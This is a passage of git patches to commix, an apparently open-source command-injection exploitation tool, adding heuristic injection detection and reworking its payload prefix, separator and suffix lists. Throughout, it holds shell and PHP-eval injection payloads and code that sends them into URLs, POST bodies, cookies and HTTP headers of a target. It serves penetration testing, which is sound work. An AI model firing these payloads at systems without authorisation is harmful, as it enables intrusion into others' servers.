+ settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL2), key=settings.EVAL_SUFFIXES_LVL2.index)
+ elif menu.options.level == 3:
+ settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL3), key=settings.SEPARATORS_LVL3.index)
+ settings.PREFIXES = sorted(set(settings.PREFIXES_LVL3), key=settings.PREFIXES_LVL3.index)
+ settings.SUFFIXES = sorted(set(settings.SUFFIXES_LVL3), key=settings.SUFFIXES_LVL3.index)
+ settings.EVAL_PREFIXES = sorted(set(settings.EVAL_PREFIXES_LVL3), key=settings.EVAL_PREFIXES_LVL3.index)
+ settings.EVAL_SUFFIXES = sorted(set(settings.EVAL_SUFFIXES_LVL3), key=settings.EVAL_SUFFIXES_LVL3.index)
+ else:
err_msg = "The value for option '--level' "
err_msg += "must be an integer value from range [1, 3]."
print(settings.print_critical_msg(err_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 470b7495e9..b62babca8b 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "6"
+REVISION = "7"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -376,14 +376,24 @@ def sys_argv_errors():
# The HTTP header name.
HTTP_HEADER = ""
-# The command injection prefixes.
-PREFIXES = ["", " ", "'", "\"", "&", "%26", "|", "%7C", "%27", "%22", "'%26"]
-
# The command injection separators.
-SEPARATORS = ["", ";", "%3B", "&", "%26", "%1a", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", "%0a", "%0d%0a"]
+SEPARATORS = []
+SPECIAL_SEPARATORS = ["%0a", "%0d%0a","%1a"]
+DEFAULT_SEPARATORS = ["", ";", "&", "&&", "|", "||"]
+SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS
+SEPARATORS_LVL3 = SEPARATORS_LVL2 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS + [_urllib.parse.quote_plus(x).lower() for x in DEFAULT_SEPARATORS]
+
+# The command injection prefixes.
+PREFIXES = []
+PREFIXES_LVL1 = [""]
+PREFIXES_LVL2 = PREFIXES_LVL1 + [" ", "'", "\"", "&", "|", "'&"]
+PREFIXES_LVL3 = PREFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in PREFIXES_LVL2]
# The command injection suffixes.
-SUFFIXES = ["", "'", "\"", "&&", "%26%26", "|", "%7C", "||", "%7C%7C", " #", "//", "\\\\", "%26'", "%27", "%22", "%5C%5C", "%2F%2F"]
+SUFFIXES = []
+SUFFIXES_LVL1 = [""]
+SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'", "\"", "&&", "|", "||", " #", "//", "\\\\", "&'"]
+SUFFIXES_LVL3 = SUFFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in SUFFIXES_LVL1]
# Bad combination of prefix and separator
JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"]
@@ -391,14 +401,18 @@ def sys_argv_errors():
# Execution functions
EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"]
-# The code injection prefixes.
-EVAL_PREFIXES = [".", "{${", "\".", "'.", "", ";", "'", ")", "')", "\")", ");}", "');}", "\");}"]
-
# The code injection separators.
-EVAL_SEPARATORS = ["", "%0a", "\\n", "%0d%0a", "\\r\\n"]
+EVAL_SEPARATORS = ["", "%0a", "%0d%0a"]
+
+# The code injection prefixes.
+EVAL_PREFIXES = []
+EVAL_PREFIXES_LVL1 = ["{${", "'.", ".", ")'}", "');}"]
+EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""]
# The code injection suffixes.
-EVAL_SUFFIXES = ["", "}}", ".\"", ".'", "", "\\\\", "//", "#", ")}"]
+EVAL_SUFFIXES = []
+EVAL_SUFFIXES_LVL1 = ["}}", ".'", "'#", ""]
+EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + [".\"", "\\\\", "//", ")}", "#"]
# The default (url-ecoded) white-space.
WHITESPACES = ["%20"]
From aa8cdba853a22daebadfabf936c63d8c9a35a095 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 20 Mar 2022 18:23:18 +0200
Subject: [PATCH 084/560] Minor update regarding target operating system
identification
---
src/utils/settings.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index b62babca8b..d4aa68fbbc 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "7"
+REVISION = "8"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -758,7 +758,7 @@ def sys_argv_errors():
# Server banners list
SERVER_OS_BANNERS = [
- r"(Microsoft|Windows|Win32)",
+ r"(Microsoft|Windows|Win[\w\.]+)",
"Debian",
"Ubuntu",
"Fedora",
From 589eb60fbe34486aec694d710545b39bc22ed069 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 21 Mar 2022 07:53:14 +0200
Subject: [PATCH 085/560] Added support for heuristic detection regarding
command injections.
---
doc/CHANGELOG.md | 1 +
src/core/injections/controller/controller.py | 70 ++++++++++++++++++--
src/utils/settings.py | 12 +++-
3 files changed, 77 insertions(+), 6 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 8bfe2c0623..152b38310a 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Added: Support for heuristic detection regarding command injections.
* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point.
* Revised: Improvement regarding injecting into custom HTTP Header(s).
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index b25e5e5460..0b02cab85b 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -63,11 +63,69 @@ def check_for_stored_levels(url, http_request_method):
menu.options.level = session_handler.applied_levels(url, http_request_method)
if type(menu.options.level) is not int :
menu.options.level = settings.DEFAULT_INJECTION_LEVEL
-
+
+
+"""
+Basic heuristic checks for command injection
+"""
+def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name):
+
+ if menu.options.skip_heuristics:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Skipping (basic) heuristic detection."
+ print(settings.print_debug_msg(debug_msg))
+ return url
+ else:
+ if not header_name == " cookie" and not the_type == " HTTP header":
+ header_name = " " + str(http_request_method)
+ settings.CLASSIC_STATE = True
+ try:
+ if not settings.IDENTIFIED_COMMAND_INJECTION:
+ if settings.VERBOSITY_LEVEL != 0:
+ debug_msg = "Starting (basic) heuristic detection."
+ print(settings.print_debug_msg(debug_msg))
+ _ = 0
+ for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS:
+ _ = _ + 1
+ payload = checks.perform_payload_modification(payload)
+ if settings.VERBOSITY_LEVEL >= 1:
+ print(settings.print_payload(payload))
+ data = None
+ cookie = None
+ tmp_url = url
+ if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
+ cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
+ data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ else:
+ if settings.INJECT_TAG in url:
+ tmp_url = url.replace(settings.INJECT_TAG, payload)
+ request = _urllib.request.Request(tmp_url, data)
+ if cookie:
+ request.add_header(settings.COOKIE, cookie)
+ headers.do_check(request)
+ response = requests.get_request_response(request)
+
+ if type(response) is not bool:
+ html_data = checks.page_encoding(response, action="decode")
+ match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
+ if match:
+ settings.IDENTIFIED_COMMAND_INJECTION = True
+ info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
+ print(settings.print_bold_info_msg(info_msg))
+ break
+
+ settings.CLASSIC_STATE = False
+ return url
+
+ except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
+ print(settings.print_critical_msg(err_msg))
+ raise SystemExit()
+
"""
Basic heuristic checks for code injection warnings
"""
-def heuristic_basic(url, http_request_method):
+def code_injections_heuristic_basic(url, http_request_method):
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
technique = "(" + injection_type.split(" ")[0] + ") " + technique + ""
@@ -123,7 +181,7 @@ def heuristic_basic(url, http_request_method):
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
- info_msg = "Heuristic detection shows that target might be injectable via " + technique + "."
+ info_msg = "Heuristic (basic) detection shows that target might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
break
@@ -290,11 +348,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
+ url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name)
+
if not settings.LOAD_SESSION:
- if (len(menu.options.tech) == 0 or "e" in menu.options.tech):
+ if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
# Check for identified warnings
if not inject_http_headers:
- url = heuristic_basic(url, http_request_method)
+ url = code_injections_heuristic_basic(url, http_request_method)
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
while True:
if not menu.options.batch:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d4aa68fbbc..88313f2eb8 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "8"
+REVISION = "9"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -264,6 +264,16 @@ def sys_argv_errors():
INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE"
VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]'
+#Basic heuristic checks for command injections
+RAND_A = random.randint(1,10000)
+RAND_B = random.randint(1,10000)
+BASIC_STRING = str(RAND_A) + "+" + str(RAND_B)
+BASIC_COMMAND_INJECTION_PAYLOADS = [_urllib.parse.quote_plus(";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))"),
+ _urllib.parse.quote_plus("|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")")
+ ]
+BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B)
+IDENTIFIED_COMMAND_INJECTION = False
+
#Basic heuristic checks for code injection warnings or... phpinfo page ;)
PHPINFO_PAYLOAD = "phpinfo()"
From 4c8ed2a8017efd04b84d2f72f1290a2a614b07a0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 22 Mar 2022 07:34:50 +0200
Subject: [PATCH 086/560] Minor update
---
src/core/requests/requests.py | 8 ++++----
src/utils/settings.py | 2 +-
2 files changed, 5 insertions(+), 5 deletions(-)
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 7dba87375e..23d611d93a 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -1186,7 +1186,7 @@ def check_target_os(server_banner):
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
- identified_os = "Unix-like (" + settings.TARGET_OS + ")"
+ identified_os = "unix-like (" + settings.TARGET_OS + ")"
if menu.options.os and user_defined_os == "win":
if not checks.identified_os():
settings.TARGET_OS = user_defined_os
@@ -1211,18 +1211,18 @@ def check_target_os(server_banner):
if menu.options.batch:
if not settings.CHECK_BOTH_OS:
settings.CHECK_BOTH_OS = True
- check_type = "unix-based"
+ check_type = "unix-like based"
elif settings.CHECK_BOTH_OS:
settings.TARGET_OS = "win"
settings.CHECK_BOTH_OS = False
settings.PERFORM_BASIC_SCANS = True
- check_type = "windows-based"
+ check_type = "windows based"
info_msg = "Setting the " + check_type + " payloads."
print(settings.print_info_msg(info_msg))
else:
while True:
question_msg = "Do you recognise the server's operating system? "
- question_msg += "[(W)indows/(U)nix/(q)uit] > "
+ question_msg += "[(W)indows/(U)nix-like/(q)uit] > "
got_os = _input(settings.print_question_msg(question_msg))
if got_os.lower() in settings.CHOICE_OS :
if got_os.lower() == "w":
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 88313f2eb8..3dfa23737b 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "9"
+REVISION = "10"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From d8963eb4aa30521f68a7fed53869ca1b63cfe666 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 23 Mar 2022 07:02:21 +0200
Subject: [PATCH 087/560] Minor fix
---
.../injections/semiblind/techniques/file_based/fb_handler.py | 3 ++-
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index fc485b4979..e07f2459ba 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -331,7 +331,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
- elif i == int(menu.options.failed_tries) and no_result == True :
+
+ elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total):
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 3dfa23737b..e24dd88fac 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "10"
+REVISION = "11"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 121cc556e42c77eb8b3263635d4adc18e138b13d Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 24 Mar 2022 07:30:14 +0200
Subject: [PATCH 088/560] Fixes
https://github.com/commixproject/commix/issues/751
---
src/core/tamper/hexencode.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py
index 35c4d85d2c..6346e9ec60 100644
--- a/src/core/tamper/hexencode.py
+++ b/src/core/tamper/hexencode.py
@@ -38,7 +38,7 @@ def tamper(payload):
else:
payload = _urllib.parse.unquote(payload)
- payload = hexencode(payload)
+ payload = hexencode(payload).encode()
payload = payload.decode(settings.DEFAULT_CODEC)
return payload
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e24dd88fac..88b44722a6 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "11"
+REVISION = "12"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 5c16cac5d20ad340ac82b918034fa789d8fff2c0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 25 Mar 2022 09:22:45 +0200
Subject: [PATCH 089/560] Minor update
---
src/core/injections/controller/controller.py | 10 +++++++---
src/utils/settings.py | 2 +-
2 files changed, 8 insertions(+), 4 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 0b02cab85b..c0dd1ff41b 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -114,14 +114,18 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')."
print(settings.print_bold_info_msg(info_msg))
break
-
+
+ if not settings.IDENTIFIED_COMMAND_INJECTION:
+ warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might not be injectable."
+ print(settings.print_bold_warning_msg(warn_msg))
+
settings.CLASSIC_STATE = False
return url
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
-
+
"""
Basic heuristic checks for code injection warnings
"""
@@ -418,7 +422,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
if header_name != " cookie" and the_type != " HTTP header":
warn_msg += " " + str(http_request_method) + ""
warn_msg += str(the_type) + str(header_name) + str(check_parameter)
- warn_msg += " seems to be not injectable."
+ warn_msg += " does not seem to be injectable."
print(settings.print_bold_warning_msg(warn_msg))
"""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 88b44722a6..19b9b10b0d 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "12"
+REVISION = "13"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From e46594b067a44c7af1d26956ed040e3414444932 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 26 Mar 2022 09:01:06 +0200
Subject: [PATCH 090/560] Minor update regarding commit:
https://github.com/commixproject/commix/commit/589eb60fbe34486aec694d710545b39bc22ed069
---
src/core/injections/controller/controller.py | 27 ++++++++++++--------
src/utils/settings.py | 22 ++++++++--------
2 files changed, 28 insertions(+), 21 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index c0dd1ff41b..8cb4a79e83 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -68,8 +68,7 @@ def check_for_stored_levels(url, http_request_method):
"""
Basic heuristic checks for command injection
"""
-def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name):
-
+def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
if menu.options.skip_heuristics:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping (basic) heuristic detection."
@@ -86,7 +85,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
print(settings.print_debug_msg(debug_msg))
_ = 0
for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS:
- _ = _ + 1
+ if menu.options.prefix:
+ payload = menu.options.prefix + payload
+ if menu.options.suffix:
+ payload = payload + menu.options.suffix
+ _ = _ + 1
+ if not inject_http_headers:
+ payload = _urllib.parse.quote_plus(payload)
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
@@ -103,6 +108,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
request = _urllib.request.Request(tmp_url, data)
if cookie:
request.add_header(settings.COOKIE, cookie)
+ if inject_http_headers:
+ request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
headers.do_check(request)
response = requests.get_request_response(request)
@@ -352,7 +359,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
- url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name)
+ url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if not settings.LOAD_SESSION:
if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
@@ -441,8 +448,8 @@ def user_agent_injection(url, http_request_method, filename, timesec):
check_parameter = header_name = " User-Agent"
settings.HTTP_HEADER = header_name[1:].replace("-","").lower()
check_for_stored_sessions(url, http_request_method)
- injection_proccess(url, check_parameter, http_request_method, filename, timesec)
- settings.USER_AGENT_INJECTION = False
+ if not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
+ settings.USER_AGENT_INJECTION = None
menu.options.agent = user_agent
def referer_injection(url, http_request_method, filename, timesec):
@@ -454,8 +461,8 @@ def referer_injection(url, http_request_method, filename, timesec):
check_parameter = header_name = " Referer"
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
- injection_proccess(url, check_parameter, http_request_method, filename, timesec)
- settings.REFERER_INJECTION = False
+ if not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
+ settings.REFERER_INJECTION = False
menu.options.agent = referer
def host_injection(url, http_request_method, filename, timesec):
@@ -466,8 +473,8 @@ def host_injection(url, http_request_method, filename, timesec):
check_parameter = header_name = " Host"
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
- injection_proccess(url, check_parameter, http_request_method, filename, timesec)
- settings.HOST_INJECTION = False
+ if not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
+ settings.HOST_INJECTION = False
# User-Agent HTTP header injection
if menu.options.skip_parameter == None:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 19b9b10b0d..b9fbcfd8bb 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "13"
+REVISION = "14"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -268,8 +268,8 @@ def sys_argv_errors():
RAND_A = random.randint(1,10000)
RAND_B = random.randint(1,10000)
BASIC_STRING = str(RAND_A) + "+" + str(RAND_B)
-BASIC_COMMAND_INJECTION_PAYLOADS = [_urllib.parse.quote_plus(";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))"),
- _urllib.parse.quote_plus("|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")")
+BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))",
+ "|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")"
]
BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B)
IDENTIFIED_COMMAND_INJECTION = False
@@ -388,22 +388,22 @@ def sys_argv_errors():
# The command injection separators.
SEPARATORS = []
-SPECIAL_SEPARATORS = ["%0a", "%0d%0a","%1a"]
-DEFAULT_SEPARATORS = ["", ";", "&", "&&", "|", "||"]
+DEFAULT_SEPARATORS = [";", "&", "|"]
+SPECIAL_SEPARATORS = ["&&", "||", "%0a", "%0d%0a", "%1a"]
SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS
-SEPARATORS_LVL3 = SEPARATORS_LVL2 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS + [_urllib.parse.quote_plus(x).lower() for x in DEFAULT_SEPARATORS]
+SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1
# The command injection prefixes.
PREFIXES = []
PREFIXES_LVL1 = [""]
-PREFIXES_LVL2 = PREFIXES_LVL1 + [" ", "'", "\"", "&", "|", "'&"]
-PREFIXES_LVL3 = PREFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in PREFIXES_LVL2]
+PREFIXES_LVL2 = SEPARATORS_LVL1
+PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2
# The command injection suffixes.
SUFFIXES = []
-SUFFIXES_LVL1 = [""]
-SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["'", "\"", "&&", "|", "||", " #", "//", "\\\\", "&'"]
-SUFFIXES_LVL3 = SUFFIXES_LVL2 + [_urllib.parse.quote_plus(x).lower() for x in SUFFIXES_LVL1]
+SUFFIXES_LVL1 = DEFAULT_SEPARATORS
+SUFFIXES_LVL2 = SEPARATORS_LVL1
+SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2
# Bad combination of prefix and separator
JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"]
From 46ca94f7166831bf765ab0142a5dea8628a827ae Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 27 Mar 2022 09:09:37 +0300
Subject: [PATCH 091/560] Minor update
---
src/core/injections/controller/controller.py | 23 +++++++++-----------
src/utils/settings.py | 2 +-
2 files changed, 11 insertions(+), 14 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 8cb4a79e83..6014fd7931 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -91,7 +91,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
payload = payload + menu.options.suffix
_ = _ + 1
if not inject_http_headers:
- payload = _urllib.parse.quote_plus(payload)
+ payload = _urllib.parse.quote(payload)
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
@@ -122,10 +122,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
print(settings.print_bold_info_msg(info_msg))
break
- if not settings.IDENTIFIED_COMMAND_INJECTION:
- warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might not be injectable."
- print(settings.print_bold_warning_msg(warn_msg))
-
settings.CLASSIC_STATE = False
return url
@@ -136,7 +132,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
"""
Basic heuristic checks for code injection warnings
"""
-def code_injections_heuristic_basic(url, http_request_method):
+def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
injection_type = "results-based dynamic code evaluation"
technique = "dynamic code evaluation technique"
technique = "(" + injection_type.split(" ")[0] + ") " + technique + ""
@@ -177,6 +173,8 @@ def code_injections_heuristic_basic(url, http_request_method):
request = _urllib.request.Request(tmp_url, data)
if cookie:
request.add_header(settings.COOKIE, cookie)
+ if inject_http_headers:
+ request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC))
headers.do_check(request)
response = requests.get_request_response(request)
@@ -192,7 +190,7 @@ def code_injections_heuristic_basic(url, http_request_method):
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
- info_msg = "Heuristic (basic) detection shows that target might be injectable via " + technique + "."
+ info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "."
print(settings.print_bold_info_msg(info_msg))
break
@@ -282,7 +280,6 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho
debug_msg = "Skipping test the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
print(settings.print_debug_msg(debug_msg))
-
# Check if it's exploitable via time-based command injection technique.
def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response):
injection_type = "blind OS command injection"
@@ -319,7 +316,6 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m
Proceed to the injection process for the appropriate parameter.
"""
def injection_proccess(url, check_parameter, http_request_method, filename, timesec):
- # Skipping basic heuristic detection procedure (regarding specific HTTP headers).
inject_http_headers = False
if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \
any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME):
@@ -358,14 +354,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
timesec, url_time_response = requests.estimate_response_time(url, timesec)
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
-
url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
-
if not settings.LOAD_SESSION:
if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
# Check for identified warnings
- if not inject_http_headers:
- url = code_injections_heuristic_basic(url, http_request_method)
+ url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
while True:
if not menu.options.batch:
@@ -387,6 +380,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
print(settings.print_error_msg(err_msg))
pass
+ if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
+ warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable."
